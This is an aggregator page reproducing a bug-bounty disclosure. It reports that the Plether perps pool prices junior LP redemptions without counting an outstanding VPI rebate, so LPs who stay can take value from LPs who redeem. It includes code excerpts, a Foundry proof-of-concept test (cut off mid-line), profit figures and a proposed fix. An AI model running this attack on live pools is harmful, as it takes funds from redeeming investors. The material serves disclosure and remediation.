Skip to content
Business logic Audit finding Advanced

Junior redemptions are priced while a skew-reducing VPI rebate is outstanding but not counted in NAV, even though its clawback is certain, so a junior LP who stays takes q·r from the junior LPs who redeem

A skew-reducing trade receives a VPI rebate paid out of pool cash into a trader reserve that is excluded from the NAV snapshot used to price LP exits, even though the lifetime clamp makes the rebate's return to the pool certain. A junior LP who stays can therefore open such a trade around a settlement so that redeeming junior LPs are paid too little and the stayers keep the difference.

Web3Vinay Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#99264 [SC-Critical] Junior redemptions are priced while a skew-reducing VPI rebate is outstanding but not counted in NAV, even though its clawback is certain, so a junior LP who stays takes q·r from the junior LPs who redeem

Submitted on Nov 12th 2026 at 18:20:50 UTC by @Web3Vinay for Audit Competition | Plether

Description

Brief/Intro

When a trader opens a position that reduces skew, the pool pays the trader a VPI rebate r out of HousePool cash. The rebate is locked in the trader's nonwithdrawable VPI reserve in MarginClearinghouse, which is outside HousePool.totalAssets(). When the position closes, the lifetime VPI clamp guarantees the pool gets at least r back. So r is a certain receivable. But the terminal-NAV snapshot that prices LP exits has no term for it, and junior is first-loss, so juniorPrincipal absorbs the whole −r.

settleLpEpoch prices and funds matured junior redemptions from that understated juniorPrincipal in the same call. A junior LP whose redemption is funded while the rebate is outstanding is paid q·r too little, where q is its share of junior supply. After the position closes, the clawback restores r to the pool, and the junior LPs who stayed keep the redeemer's q·r.

The attack is fully permissionless. A large junior LP who stays opens the skew-reducing position just before router.settleLpEpoch and closes it just after. No trusted role is involved.

Vulnerability Details

1. The rebate leaves pool cash. The open plan pays the rebate from pool cash and sizes the trader's reserve to max(-vpiAccrued, 0):

Solidity
// src/libraries/CfdEnginePlanLib.sol:331-333
delta.tradeCostAssets = openState.tradeCostAssets;
delta.marginDeltaAssets = order.marginDelta;
delta.poolRebatePayoutAssets = openState.tradeCostAssets < 0 ? uint256(-openState.tradeCostAssets) : 0;

The reserve is credited in MarginClearinghouse (src/MarginClearinghouse.sol:851, :864: vpiRebateReserveBalances[account] += amountAssets;). After the open, HousePool.totalAssets() (src/HousePool.sol:426) is lower by r.

2. The clawback is certain. On close, lifetime VPI can never end negative:

Solidity
// src/libraries/CloseAccountingLib.sol:112-118
// Clamp so lifetime VPI (accrued + delta) never goes negative. ...
@> if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
@>     state.vpiDeltaAssets = -state.proportionalAccrualAssets;
@> }

So a close always pays back at least the rebate it received. If pool depth fell in the meantime, it pays more (k·S²/(2·D_close), which is not capped from above). Liquidation also recovers the rebate from the dedicated reserve (SECURITY.md:1436). The pool will get r back. This is not a risk estimate.

3. The NAV snapshot has no receivable for it. The snapshot that prices LP entry and exit:

Solidity
// src/libraries/HousePoolAccountingLib.sol:57-78
/// @notice Builds the single canonical terminal-NAV snapshot shared by LP entry and exit pricing.
function buildReconcileSnapshot(...) internal pure returns (ReconcileSnapshot memory snapshot) {
@>  uint256 terminalAssets = engineSnapshot.physicalAssets;           // excludes the MC VPI reserve
    uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets;
    int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets; // price book only, no VPI
    ...
    snapshot.distributable = terminalAssets - terminalLiabilities;
}

Junior is first-loss, so _reconcile (src/HousePool.sol:1555-1599) books the whole −r against juniorPrincipal.

4. The redemption is priced and paid in that same state.

Solidity
// src/HousePool.sol:835-841
@> _reconcile(accountingSnapshot, statusSnapshot);          // juniorPrincipal now J − r
   _checkpointEngineCarryIndexes();
   result.cutoffEpoch = cutoffEpoch;
   RedemptionPhase memory juniorPhase;
@> juniorPhase.pricingPrincipal = juniorPrincipal;          // priced at J − r
   juniorPhase.pricingSupply = _juniorShareSupply();
...
// src/HousePool.sol:881-887
   juniorPhase = _fundRedemptionPhase(juniorVault, result.cutoffEpoch, juniorPhase, ...);
   if (juniorPhase.fundedAssets > 0) {
@>     juniorPrincipal -= juniorPhase.fundedAssets;         // redeemer leaves with (J − r)·q
       accountedAssets -= juniorPhase.fundedAssets;
   }

Each redeemed junior share is paid (J − r)/supply instead of J/supply (_fundRedemptionPhase, src/HousePool.sol:944-1004).

5. The stayers keep the difference. When the position closes after the settlement, step 2 returns r (or more) to pool cash. The next reconcile credits it to the junior shares that are left. Net transfer: the redeemers lose q·r and the stayers gain q·r. Any extra close VPI E also goes to the stayers.

The protocol's own NAV rules say a receivable should count. SECURITY.md:851 says "LP entry and exit pricing consume the same authenticated terminal snapshot", and SECURITY.md:861 says "marked receivables affect ownership pricing but remain unavailable to fund redemptions until physically collected". The VPI rebate clawback is a receivable that code makes certain (step 2) and a dedicated reserve fully backs. Even so, it does not affect ownership pricing at all. SECURITY.md:872 says anticipated VPI and its reserve do not enter symmetric NAV. No document says this lets the LPs who stay take value from the LPs who redeem. The Known Limitations section (SECURITY.md:1328-1456, VPI limitations :1434-1444) does not list it either.

Who is affected.

  • Senior is not affected. Senior redemptions in the same settlement are priced from seniorPrincipal (src/HousePool.sol:846-852), and junior first-loss shields it. In the PoC the senior redeemer gets exactly 500,009.13 USDG in both twins.
  • Precondition. The junior redemption must actually be funded in that settlement. Junior settlement capacity is min(freeAssets, juniorPrincipal, ratioCap) (src/HousePool.sol:1205-1217). Under the release 80 % senior-share cap, ratioCap keeps junior at or above 25 % of senior exposure (src/libraries/HousePoolSeniorCapacityLib.sol:64-90). So any book where junior stays above that floor after the redemption is exposed. For example, with 4M senior, any junior tranche larger than 1M.

Impact Details

Release parameters: vpiFactor 0.01e18, maxSkewRatio 0.4e18, execution fee 4 bp, MM/IM 10/20 bp, senior cap 40M / 80 %. The mark price is flat, so there is no price PnL. Every trade is self-executed through the real OrderRouter, and the settlement goes through the permissionless router.settleLpEpoch. "Base" is the identical twin without the skew-reducing open.

Attacker = a junior LP who stays (test_redeemSide_attackerStayer_poc): senior 4.0M; victim junior LP VIC 2.0M (redeems everything); attacker junior LP ATT 1.5M (stays). An honest LONG of 2.99M creates the skew, and the attacker opens a 2.99M SHORT 60 s before the epoch boundary and closes it 30 s after. Pool depth at the open is 7,507,958 USDG.

Quantity USDG
Rebate r (still in the MC reserve at settlement, 0 after close) 5,953.74
VIC redemption, base / attack 2,003,362.12 / 1,999,960.94
Victim loss (q·r, q = 0.5717) 3,401.17
Execution fees paid to treasury 2,392.00
Attacker trader net (fees + extra close VPI E = 2,170.76) −4,562.76
Attacker junior stake gain +5,568.22
Attacker net after all fees +1,005.46

No attacker (test_redeemSide_honestRebate_noAttacker): the same transfer happens with only honest users. An honest SHORT is open across the settlement. Senior 4M; junior 1M VIC (redeems) plus two honest 1M stayers; r = 5,554.07. Compared with the same book without that SHORT, the redeemer gets 1,850.74 USDG less (q·r, q = 1/3) and each stayer gets +1,392.80 ((q·r + E)/2).

Fuzzed differential (testFuzz_redeemSide_lossEqualsQr, 256 runs at seed 1101): fuzzes victim, attacker and honest stakes, skew from 10 % to 39 %, and attacker or honest trader. In every fully funded case:

  • the victim loss equals q·r within 1 %,
  • the reserve equals r at settlement and is 0 after the close,
  • the senior stayer is unchanged.

Break-even. The rebate is r = k·S²/(2D) and the round-trip fee is F = 2·f·S (k = 0.01, f = 4 bp, S = σ·D). An attacker who owns almost all of the remaining junior nets about q·r − F. That is profitable when q > 4f/(k·σ) = 0.16/σ, i.e. q > 0.41 at σ = 0.39. The sweep (test_redeemSide_sweep, senior 4M, σ = 0.39) matches:

Victim share q Victim loss Attacker net
0.333 1,772.05 −413.27
0.571 3,243.90 +904.36
0.714 4,426.61 +1,867.95
0.806 6,223.65 +3,036.29

The fifth sweep row (junior 9M victim / 1.2M attacker) is bound by the ratio cap: the victim's redemption is only partly funded in that settlement (8,664,014,270,579,176 of 9,006,003,996,654,428 shares in the attack twin), so its 10,758.25 "loss" includes deferred shares and is not counted here.

The loss per settlement is bounded by r ≈ k·σ²·D/2, which is at most about 0.08 % of pool depth at the 40 % skew cap. It scales linearly with pool size, and the attacker can repeat it at every settlement that funds a large junior redemption. The attack costs no capital beyond the trade margin, which is returned.

Mitigation

Count the certain clawback as a pool receivable in the snapshot that prices LP exits:

  • Keep an aggregate of the outstanding MC VPI rebate reserves. Today only the per-account vpiRebateReserveBalances[account] exists (src/MarginClearinghouse.sol:851, :864, :879, :901), so the aggregate has to be updated on every reserve fund, release and consume, and passed into HousePoolInputSnapshot.
  • In buildReconcileSnapshot, add it to terminalAssets. The reserve balance is a safe cap, because close and liquidation both recover the clawback from that reserve (SECURITY.md:866-868, :1436). It must not count toward the free cash used to fund redemptions (buildWithdrawalSnapshot). This matches SECURITY.md:861.
  • Note that this also lowers snapshot.deficit by the reserve amount. That is collateral-backed, but the deposit gate _entryStatusBlocked (src/HousePool.sol:1144) reads deficit, so the change has to be reviewed there too.

A simpler alternative is to keep the rebate in pool custody, earmarked for the trader, until the position closes, so that physicalAssets never drops by r.

References

  • src/libraries/CfdEnginePlanLib.sol:331-333, :343-356: rebate paid from pool cash, reserve sized to max(-vpiAccrued, 0)
  • src/MarginClearinghouse.sol:851, :864: reserve credited outside HousePool.totalAssets()
  • src/libraries/CloseAccountingLib.sol:112-118: lifetime clamp makes the clawback certain
  • src/libraries/HousePoolAccountingLib.sol:57-78: buildReconcileSnapshot, no VPI receivable term
  • src/HousePool.sol:1555-1599: _reconcile, junior first-loss absorbs −r
  • src/HousePool.sol:835-841, :881-887, :944-1004: redemption priced and funded from the post-reconcile juniorPrincipal
  • src/HousePool.sol:846-852: senior priced from seniorPrincipal (unaffected)
  • src/HousePool.sol:1205-1217, src/libraries/HousePoolSeniorCapacityLib.sol:64-90: junior settlement capacity (precondition)
  • src/OrderRouter.sol:479: permissionless settleLpEpoch
  • SECURITY.md:851, :861, :872, :1328-1456

Proof of Concept

Proof of Concept

Uses only the repo fixture BasePerpTest with release risk parameters (DEPLOYMENT.md:131-142) and the release senior cap (40M / 80 %, DEPLOYMENT.md:154-155, set through the normal owner timelock in setUp before any position exists). Every trade is a self-executed order through the real OrderRouter (commitOrder + executeOrder by the trader itself), and the LP settlement is the permissionless router.settleLpEpoch. No role is pranked, and no storage is written directly.

Each test runs two twins from the same snapshot: base (no skew-reducing open) and attack (with it). Everything else, including timestamps, marks and redemption requests, is identical.

  • test_redeemSide_attackerStayer_poc: the attacker is a junior LP who stays; victim loss and attacker net after all fees.
  • test_redeemSide_honestRebate_noAttacker: the same transfer with only honest users.
  • test_redeemSide_seniorRedeemer: a senior redemption in the same settlement is unaffected.
  • test_redeemSide_sweep: break-even over the victim share q.
  • testFuzz_redeemSide_lossEqualsQr: the loss equals q·r over fuzzed books.

Save as packages/perps/test/perps/audit/VpiRebateRedeemSideNav.t.sol and run from plether-core/:

forge test --root packages/perps --match-path test/perps/audit/VpiRebateRedeemSideNav.t.sol --fuzz-seed 1101 --gas-limit 100000000000 --disable-block-gas-limit -vv
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {console2} from "forge-std/console2.sol";

/// @notice PoC: save as packages/perps/test/perps/audit/VpiRebateRedeemSideNav.t.sol and run from plether-core/
///         forge test --root packages/perps --match-path test/perps/audit/VpiRebateRedeemSideNav.t.sol --fuzz-seed 1101 -vv
/// @notice A skew-reducing open receives a VPI rebate out of pool cash. The rebate sits in the trader's MC VPI reserve
///         (outside HousePool.totalAssets / LP NAV) although the lifetime clamp makes its return to the pool certain on
///         close. A junior redemption funded by settleLpEpoch while the rebate is outstanding is paid at the understated
///         junior principal; after the close claws the rebate back, the remaining junior holders keep the difference.
///         Every trade and the LP settlement go through the real Router (self-executed orders, router.settleLpEpoch);
///         no pranked roles, no stdstore.
contract VpiRebateRedeemSideNavPoC is BasePerpTest {

    address internal constant SEN = address(0x5E1); // senior LP that stays
    address internal constant SVIC = address(0x5E2); // senior LP that redeems in the same settlement
    address internal constant VIC = address(0xB1C7); // junior LP that redeems (victim)
    address internal constant ATT = address(0xA77AC4); // junior LP that stays + skew-reducing trader (attacker)
    address internal constant HON = address(0x40E5); // honest junior LP that stays
    address internal constant BG = address(0xB6B6); // honest LONG trader creating the skew
    address internal constant HSH = address(0x5407); // honest SHORT trader (no-attacker case)

    uint256 internal stagedBasketPrice = 100_000_000;
    uint256 internal stagedBasketTime = SETUP_TIMESTAMP;
    uint256 internal constant PRICE = 1e8;

    struct Cfg {
        uint256 senior; // senior LP SEN
        uint256 seniorVic; // senior LP SVIC deposit (redeems fully in the window) - 0 = none
        uint256 vicJr; // junior LP VIC (redeems fully in the window)
        uint256 attJr; // junior LP ATT (stays)
        uint256 honJr; // junior LP HON (stays)
        uint256 bgSize; // honest LONG size (1e18 = 1 USD notional at 1e8)
        uint256 rebSize; // skew-reducing SHORT size
        bool honestTrader; // true: the SHORT is opened by HSH long before the settle and held (no attacker)
    }

    struct Res {
        bool opened;
        uint256 rebate; // VPI rebate received by the SHORT at open (= -vpiAccrued)
        uint256 reserveAtSettle; // MC VPI rebate reserve of the SHORT at settlement time
        uint256 jrNavBeforeSettle; // juniorVault.totalAssets() right before router.settleLpEpoch
        uint256 jrPrincipalAfterSettle; // pool.juniorPrincipal() right after settlement (post redemption)
        uint256 vicClaimableAtSettle; // VIC redeem shares funded by that settlement
        uint256 reserveAfterClose;
        uint256 jrNavAfterClose; // juniorVault.totalAssets() after the SHORT closed
        uint256 vicShares;
        uint256 vicAssets; // USDG VIC receives
        uint256 vicUnfilled;
        uint256 sVicShares;
        uint256 sVicAssets;
        int256 traderNet; // SHORT trader MC balance - funded
        uint256 attValue; // value of ATT junior shares after everything
        uint256 honValue;
        uint256 senValue;
        uint256 treasury; // treasury MC credit during the window (exec fees)
        uint256 depthAtOpen;
    }

    // ---------------------------------------------------------------- config (release values)

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        // DEPLOYMENT.md:131-142 release values.
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function setUp() public override {
        super.setUp();
        // Release senior-capacity config (DEPLOYMENT.md:154-155): 40M / 80 %. Owner timelock, no positions open yet.
        IHousePool.PoolConfig memory cfg = _currentPoolConfig();
        cfg.maxSeniorExposureAssets = 40_000_000e6;
        cfg.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(cfg);
        vm.warp(pool.poolConfigActivationTime());
        pool.finalizePoolConfig();
        assertEq(engine.executionFeeBps(), 4, "release 4 bp execution fee");
    }

    // ---------------------------------------------------------------- helpers

    function _requestDeposit(
        TrancheVault vault,
        address owner,
        uint256 assets
    ) internal returns (uint256 requestId) {
        settlementToken.mint(owner, assets);
        vm.startPrank(owner);
        settlementToken.approve(address(vault), assets);
        requestId = vault.requestDeposit(assets, owner, owner);
        vm.stopPrank();
    }

    function _claimDeposit(
        TrancheVault vault,
        uint256 requestId,
        address controller
    ) internal returns (uint256 shares) {
        uint256 assets = vault.claimableDepositRequest(requestId, controller);
        assertGt(assets, 0, "deposit settled");
        vm.prank(controller);
        shares = vault.claimDeposit(requestId, assets, controller, controller);
    }

    function _setBasket(
        uint256 price,
        uint256 publishTime
    ) internal {
        stagedBasketPrice = price;
        stagedBasketTime = publishTime;
        baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(price)), 0, int32(-8), publishTime);
    }

    function _basketUpdate() internal view returns (bytes[] memory updateData) {
        bytes32[] memory ids = _basePythFeedIds();
        MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](ids.length);
        for (uint256 i; i < ids.length; ++i) {
            updates[i] = MockPyth.FeedUpdate(
                ids[i], MockPyth.MockPrice(int64(uint64(stagedBasketPrice)), 0, -8, stagedBasketTime, 0)
            );
        }
        updateData = new bytes[](1);
        updateData[0] = abi.encode(updates);
    }

    /// @dev Permissionless mark refresh through the real Router.
    function _refreshMark() internal {
        _setBasket(PRICE, vm.getBlockTimestamp());
        router.updateMarkPrice(_basketUpdate());
    }

    /// @dev Self-executed order through the real Router (commit + execute by the account itself).
    function _routerTrade(
        address who,
        CfdTypes.Side side,
        uint256 size,
        bool isClose
    ) internal returns (uint256 funded) {
        uint256 margin;
        if (!isClose) {
            margin = (size / 1e12) / 20; // 5 % margin
            funded = margin * 2;
            _fundTrader(who, funded);
        }
        _refreshMark();
        vm.prank(who);
        uint64 id = router.commitOrder(side, size, margin, 0, isClose);
        bytes[] memory upd = _mockPythUpdateData(PRICE);
        vm.prank(who);
        router.executeOrder(id, upd);
    }

    /// @dev Same time/block step as `_routerTrade` without trading (twin alignment).
    function _idleStep() internal {
        _refreshMark();
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
    }

    function _posSize(
        address who
    ) internal view returns (uint256 sz) {
        (sz,,,,,,) = engine.positions(who);
    }

    function _vpiAccrued(
        address who
    ) internal view returns (int256 v) {
        (,,,,,, v) = engine.positions(who);
    }

    // ---------------------------------------------------------------- scenario

    function _scenario(
        Cfg memory c,
        bool withRebate
    ) internal returns (Res memory r) {
        uint256 attShares;
        uint256 honShares;
        uint256 senShares;
        // 1. Junior LPs enter (no positions -> permissionless cached settlement).
        {
            uint256 idV = _requestDeposit(juniorVault, VIC, c.vicJr);
            uint256 idA = c.attJr != 0 ? _requestDeposit(juniorVault, ATT, c.attJr) : 0;
            uint256 idH = c.honJr != 0 ? _requestDeposit(juniorVault, HON, c.honJr) : 0;
            vm.warp(pool.lpEpochStart(idV));
            _refreshMark();
            pool.settleLpEpoch(0, 0);
            r.vicShares = _claimDeposit(juniorVault, idV, VIC);
            if (idA != 0) attShares = _claimDeposit(juniorVault, idA, ATT);
            if (idH != 0) honShares = _claimDeposit(juniorVault, idH, HON);
        }
        // 2. Senior LPs enter (needs junior first under the 80 % share cap).
        {
            uint256 idS = _requestDeposit(seniorVault, SEN, c.senior);
            uint256 idSV = c.seniorVic != 0 ? _requestDeposit(seniorVault, SVIC, c.seniorVic) : 0;
            vm.warp(pool.lpEpochStart(idS));
            _refreshMark();
            pool.settleLpEpoch(0, 0);
            senShares = _claimDeposit(seniorVault, idS, SEN);
            if (idSV != 0) r.sVicShares = _claimDeposit(seniorVault, idSV, SVIC);
        }
        vm.warp(vm.getBlockTimestamp() + juniorVault.DEPOSIT_COOLDOWN() + 1);

        // 3. Honest skew: LONG near the 40 % skew cap.
        _routerTrade(BG, CfdTypes.Side.LONG, c.bgSize, false);
        require(_posSize(BG) == c.bgSize, "bg open failed");

        address trader = c.honestTrader ? HSH : ATT;
        uint256 funded;
        uint256 treasuryBefore = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        // 3b. No-attacker case: an honest SHORT opens well before the redemption request and is still open at settle.
        if (c.honestTrader) {
            r.depthAtOpen = pool.totalAssets();
            if (withRebate) {
                funded = _routerTrade(HSH, CfdTypes.Side.SHORT, c.rebSize, false);
                r.opened = _posSize(HSH) == c.rebSize;
                r.rebate = uint256(-_vpiAccrued(HSH));
            } else {
                _idleStep();
            }
        }

        // 4. LP redemption requests for the coming epoch (identical in both twins).
        vm.prank(VIC);
        uint256 rid = juniorVault.requestRedeem(r.vicShares, VIC, VIC);
        uint256 srid;
        if (r.sVicShares != 0) {
            vm.prank(SVIC);
            srid = seniorVault.requestRedeem(r.sVicShares, SVIC, SVIC);
            require(srid == rid, "same epoch");
        }
        uint256 boundary = pool.lpEpochStart(rid);

        // 5. Attacker: skew-reducing SHORT right before the boundary.
        vm.warp(boundary - 60);
        if (!c.honestTrader) {
            r.depthAtOpen = pool.totalAssets();
            if (withRebate) {
                funded = _routerTrade(ATT, CfdTypes.Side.SHORT, c.rebSize, false);
                r.opened = _posSize(ATT) == c.rebSize;
                r.rebate = uint256(-_vpiAccrued(ATT));
            } else {
                _idleStep();
            }
        }

        // 6. Permissionless atomic settlement at the boundary (real Router path).
        vm.warp(boundary);
        r.jrNavBeforeSettle = juniorVault.totalAssets();
        r.reserveAtSettle = clearinghouse.vpiRebateReserveAssets(trader);
        _setBasket(PRICE, boundary);
        router.settleLpEpoch(_basketUpdate());
        r.jrPrincipalAfterSettle = pool.juniorPrincipal();
        r.vicClaimableAtSettle = juniorVault.claimableRedeemRequest(rid, VIC);

        // 7. SHORT closes after the settlement: the lifetime clamp claws the rebate back into pool cash.
        vm.warp(boundary + 30);
        if (withRebate && r.opened) {
            _routerTrade(trader, CfdTypes.Side.SHORT, c.rebSize, true);
            require(_posSize(trader) == 0, "close failed");
        } else {
            _idleStep();
        }
        r.reserveAfterClose = clearinghouse.vpiRebateReserveAssets(trader);
        r.jrNavAfterClose = juniorVault.totalAssets();

        // 8. Claims and valuation.
        {
            uint256 claimable = juniorVault.claimableRedeemRequest(rid, VIC);
            if (claimable != 0) {
                vm.prank(VIC);
                r.vicAssets = juniorVault.claimRedeem(rid, claimable, VIC, VIC);
            }
            r.vicUnfilled = r.vicShares - claimable;
        }
        if (srid != 0) {
            uint256 claimable = seniorVault.claimableRedeemRequest(srid, SVIC);
            if (claimable != 0) {
                vm.prank(SVIC);
                r.sVicAssets = seniorVault.claimRedeem(srid, claimable, SVIC, SVIC);
            }
        }
        r.traderNet = int256(clearinghouse.balanceAssets(trader)) - int256(funded);
        r.attValue = juniorVault.convertToAssets(attShares);
        r.honValue = juniorVault.convertToAssets(honShares);
        r.senValue = seniorVault.convertToAssets(senShares);
        r.treasury = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT) - treasuryBefore;
    }

    function _run(
        Cfg memory c
    ) internal returns (Res memory base, Res memory atk) {
        uint256 snap = vm.snapshotState();
        base = _scenario(c, false);
        vm.revertToState(snap);
        atk = _scenario(c, true);
        vm.revertToStateAndDelete(snap);
    }

    function _d(
        uint256 a,
        uint256 b
    ) internal pure returns (int256) {
        return int256(a) - int256(b);
    }

    function _logUsd(
        string memory k,
        int256 v
    ) internal pure {
        // prints value in USDG with 2 decimals
        int256 cents = v / 1e4;
        uint256 abs = cents < 0 ? uint256(-cents) : uint256(cents);
        console2.log(string.concat(k, cents < 0 ? " -" : " "), abs / 100, abs % 100);
    }

    struct Summary {
        int256 victimLoss;
        int256 attStakeGain;
        int256 attNet;
        int256 honGain;
        int256 senGain;
        int256 seniorVicDiff;
    }

    function _report(
        string memory tag,
        Cfg memory c,
        Res memory b,
        Res memory a
    ) internal pure returns (Summary memory s) {
        s.victimLoss = _d(b.vicAssets, a.vicAssets);
        s.attStakeGain = _d(a.attValue, b.attValue);
        s.attNet = c.honestTrader ? s.attStakeGain : s.attStakeGain + a.traderNet;
        s.honGain = _d(a.honValue, b.honValue);
        s.senGain = _d(a.senValue, b.senValue);
        s.seniorVicDiff = _d(a.sVicAssets, b.sVicAssets);
        console2.log("=====", tag);
        console2.log("senior/seniorVic/vicJr/attJr/honJr (USDG)", c.senior / 1e6, c.seniorVic / 1e6);
        console2.log("   ", c.vicJr / 1e6, c.attJr / 1e6, c.honJr / 1e6);
        console2.log("bgSize/rebSize (USD notional)", c.bgSize / 1e18, c.rebSize / 1e18);
        console2.log("pool depth at SHORT open", a.depthAtOpen / 1e6);
        _logUsd("rebate r (USDG)", int256(a.rebate));
        _logUsd("reserve at settle (atk twin)", int256(a.reserveAtSettle));
        _logUsd("reserve after close (atk twin)", int256(a.reserveAfterClose));
        _logUsd("junior NAV before settle  base", int256(b.jrNavBeforeSettle));
        _logUsd("junior NAV before settle  atk ", int256(a.jrNavBeforeSettle));
        _logUsd("juniorPrincipal after settle base", int256(b.jrPrincipalAfterSettle));
        _logUsd("juniorPrincipal after settle atk ", int256(a.jrPrincipalAfterSettle));
        _logUsd("junior NAV after close base", int256(b.jrNavAfterClose));
        _logUsd("junior NAV after close atk ", int256(a.jrNavAfterClose));
        console2.log("VIC shares / funded-at-settle base / atk", a.vicShares, b.vicClaimableAtSettle, a.vicClaimableAtSettle);
        _logUsd("VIC redeem assets base", int256(b.vicAssets));
        _logUsd("VIC redeem assets atk ", int256(a.vicAssets));
        _logUsd("SVIC senior redeem assets base", int256(b.sVicAssets));
        _logUsd("SVIC senior redeem assets atk ", int256(a.sVicAssets));
        _logUsd("treasury exec fees (atk twin)", int256(a.treasury));
        _logUsd("SHORT trader net (atk twin)", a.traderNet);
        _logUsd("VICTIM LOSS (junior redeemer)", s.victimLoss);
        _logUsd("ATT junior stake gain", s.attStakeGain);
        _logUsd("ATT NET (stake gain + trader net)", s.attNet);
        _logUsd("HON junior stayer gain", s.honGain);
        _logUsd("SEN 

The original report as published on Immunefi, by Web3Vinay. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the terminal-NAV snapshot used to price LP exits omits the certain VPI rebate clawback as a receivable, so junior first-loss absorbs the rebate and redeeming junior LPs are underpaid.

Impact

A redeeming junior LP could be paid q·r less than fair while staying junior LPs gain the same amount, though the loss per settlement is bounded by roughly 0.08% of pool depth and senior LPs are unaffected.

What the attacker needed

Junior redemption funded in that settlement; junior tranche above 25% of senior exposure; attacker holds junior shares and stays; permissionless settleLpEpoch call

The fix

The certain clawback should be counted as a pool receivable in the snapshot that prices LP exits, while not counting toward free cash used to fund redemptions.

How it was found

  1. A junior LP deposits and receives junior shares.
  2. An honest long position creates skew near the cap.
  3. The attacker (a junior LP who stays) opens a skew-reducing short shortly before the epoch boundary, receiving a rebate into the trader reserve.
  4. A victim junior LP requests redemption of all shares for the coming epoch.
  5. The permissionless settleLpEpoch prices and funds the redemption from the understated junior principal.
  6. The attacker closes the short after settlement, the clawback returns the rebate to the pool, and the stayers keep the difference.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The pool pays a small reward to a trader whose trade reduces risk, and that money is set aside in a separate reserve rather than counted as pool value. When other people cash out their shares, the pool's value is calculated without that reserve, so their payout is slightly too small. The money later returns to the pool and benefits whoever stayed in, which means a staying investor can arrange this on purpose and profit.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Web3Vinay

View all

36 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.